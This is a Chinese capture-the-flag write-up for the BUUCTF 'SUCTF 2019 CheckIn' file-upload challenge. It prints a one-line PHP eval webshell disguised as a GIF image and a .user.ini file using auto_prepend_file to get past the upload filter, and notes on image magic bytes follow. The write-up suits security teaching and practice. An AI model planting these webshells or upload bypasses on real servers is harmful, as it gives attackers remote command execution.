buuctf系列解题思路祥讲--[SUCTF 2019]CheckIn1--文件上传以及user.ini的应用

涉及知识点都会在第二部分讲解

1、解题思路

这题是一个文件上传的靶场,我们先手动尝试上传文件,发现对php有检测,随后可以使用burp爆破后缀名

上传图片马发现他会检测文件内容是否有?(可以把php语句换位js形式的图片马)

上传js样式的图片马内容为如下:

<script language="pHp">@eval($_POST'CMD')</script>

上传发现显示不是图片

所以我们在对其添加文件头进行上传发现成功了

随后我们上传htaccess发现会上传失败

那我们尝试一下.user.ini文件,内容如下

GIF89a

auto_prepend_file=shell.jpg

然后使用蚁剑连接:域名+upload/。。。/index.php,随后就可以进入和后台查看flag了

2、涉及知识点

1、//三种图片的前缀 JPG :FF D8 FF E0 00 10 4A 46 49 46(16进制编码) GIF:47 49 46 38 39 61(ascll值是GIF89a) PNG: 89 50 4E 47

2、user.ini和.htaccess一样是目录的配置文件。这里我们可以把.user.ini看作是用户自定义的一个php.ini,需要访问该目录下的任意php文件时才会触发

3、.user.ini比.htaccess用的更广,不管是nginx/apache/IIS,只要是以CGI/FastCGI模式运行的php都可以用这个方法。

4、/*这是.user.ini的两个配置

auto_prepend_file是在文件前插入

auto_append_file是在文件最后才插入*/

相关推荐
Bruce_Liuxiaowei35 分钟前
2026年10月第3周网络安全形势周报
安全·web安全·网络安全
狗凯之家源码网7 小时前
全新 PHP 轻量客服聊天室源码深度评测
开发语言·php·聊天室系统
菩提小狗9 小时前
每日安全情报报告 · 2026-10-15
网络安全·漏洞·cve·安全情报·每日安全
catchadmin9 小时前
免费可商用 PHP 管理后台 CatchAdmin V5.4.1 发布,新增 MCP 支持
开发语言·php
是真的小外套11 小时前
第13章:网络安全漏洞防护原理与应用
安全·web安全·php
狗凯之家源码网11 小时前
纯 PHP+MySQL 应用市场系统源码实测!
开发语言·mysql·php
Coisinier13 小时前
docker命令管理镜像及容器
linux·运维·nginx·docker·容器·操作系统
2301_322414280414 小时前
基于web的校园失物招领管理系统59695-计算机毕设 原创(免费领源码+部署教程+开发环境)
mysql·nginx·php·apache·thinkphp·phpstudy·wampserver
梦帮科技16 小时前
Linux 内存取证学与 Rootkit 猎杀——Volatility 核心剖析与内核隐藏模块逆向清除
linux·运维·服务器·神经网络·算法·网络安全
4SAPI17 小时前
官方API、API聚合平台与自建LLM Gateway:三种方案怎么选
大数据·人工智能·gateway·php